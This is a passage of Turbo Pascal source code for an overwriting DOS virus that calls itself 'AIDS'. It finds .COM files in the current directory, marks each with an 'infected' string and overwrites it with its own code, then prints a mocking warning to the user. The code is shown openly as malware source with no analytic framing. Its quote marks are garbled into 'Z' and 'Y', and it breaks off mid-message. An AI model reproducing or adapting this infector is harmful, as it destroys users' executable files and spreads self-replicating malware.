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-
- { Beginning of source code, Turbo Pascal 3.01a }
- {C-}
- {U-}
- {I-} { Wont allow a user break, enable IO check }
-
- { -- Constants --------------------------------------- }
-
- Const
- VirusSize = 13847; { AIDSYs code size }
-
- Warning :String[42] { Warning message }
- = ZThis File Has Been Infected By AIDS! HaHa!Y;
-
- { -- Type declarations------------------------------------- }
-
- Type
- DTARec =Record { Data area for file search }
- DOSnext :Array[1..21] of Byte;
- Attr : Byte;
- Ftime,
- FDate,
- FLsize,
- FHsize : Integer;
- FullName: Array[1..13] of Char;
- End;
-
- Registers = Record {Register set used for file search }
- Case Byte of
- 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
- 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
- End;
-
- { -- Variables--------------------------------------------- }
-
- Var
- { Memory offset program code }
- ProgramStart : Byte absolute Cseg:$100;
- { Infected marker }
- MarkInfected : String[42] absolute Cseg:$180;
- Reg : Registers; { Register set }
- DTA : DTARec; { Data area }
- Buffer : Array[Byte] of Byte; { Data buffer }
- TestID : String[42]; { To recognize infected files }
- UsePath : String[66]; { Path to search files }
- { Lenght of search path }
- UsePathLenght: Byte absolute UsePath;
- Go : File; { File to infect }
- B : Byte; { Used }
- LoopVar : Integer; {Will loop forever}
-
- { -- Program code------------------------------------------ }
-
- Begin
- GetDir(0, UsePath); { get current directory }
- if Pos(Z\Y, UsePath) <> UsePathLenght then
- UsePath := UsePath + Z\Y;
- UsePath := UsePath + Z*.COMY; { Define search mask }
- Reg.AH := $1A; { Set data area }
- Reg.DS := Seg(DTA);
- Reg.DX := Ofs(DTA);
- MsDos(Reg);
- UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
- Reg.AH := $4E;
- Reg.DS := Seg(UsePath);
- Reg.DX := Ofs(UsePath[1]);
- Reg.CX := $ff; { Set attribute to find ALL files }
- MsDos(Reg); { Find first matching entry }
- IF not Odd(Reg.Flags) Then { If a file found then }
- Repeat
- UsePath := DTA.FullName;
- B := Pos(#0, UsePath);
- If B > 0 then
- Delete(UsePath, B, 255); { Remove garbage }
- Assign(Go, UsePath);
- Reset(Go);
- If IOresult = 0 Then { If not IO error then }
- Begin
- BlockRead(Go, Buffer, 2);
- Move(Buffer[$80], TestID, 43);
- { Test if file already ill(Infected) }
- If TestID <> Warning Then { If not then ... }
- Begin
- Seek (Go, 0);
- { Mark file as infected and .. }
- MarkInfected := Warning;
- { Infect it }
- BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
- Close(Go);
- Halt; {.. and halt the program }
- End;
- Close(Go);
- End;
- { The file has already been infected, search next. }
- Reg.AH := $4F;
- Reg.DS := Seg(DTA);
- Reg.DX := Ofs(DTA);
- MsDos(Reg);
- { ......................Until no more files are found }
- Until Odd(Reg.Flags);
- Loopvar:=Random(10);
- If Loopvar=7 then
- begin
- Writeln(Z
-
-
-
-
-
-
-
-
- Y); {Give a lot of smiles}
- Writeln(ZY);
- Writeln(Z Y);
- Writeln(Z ATTENTION:
- Y);
- Writeln(Z I have been elected to inform you that throughout your process of
- Y);
- Writeln(Z collecting and executing files, you have accidentally H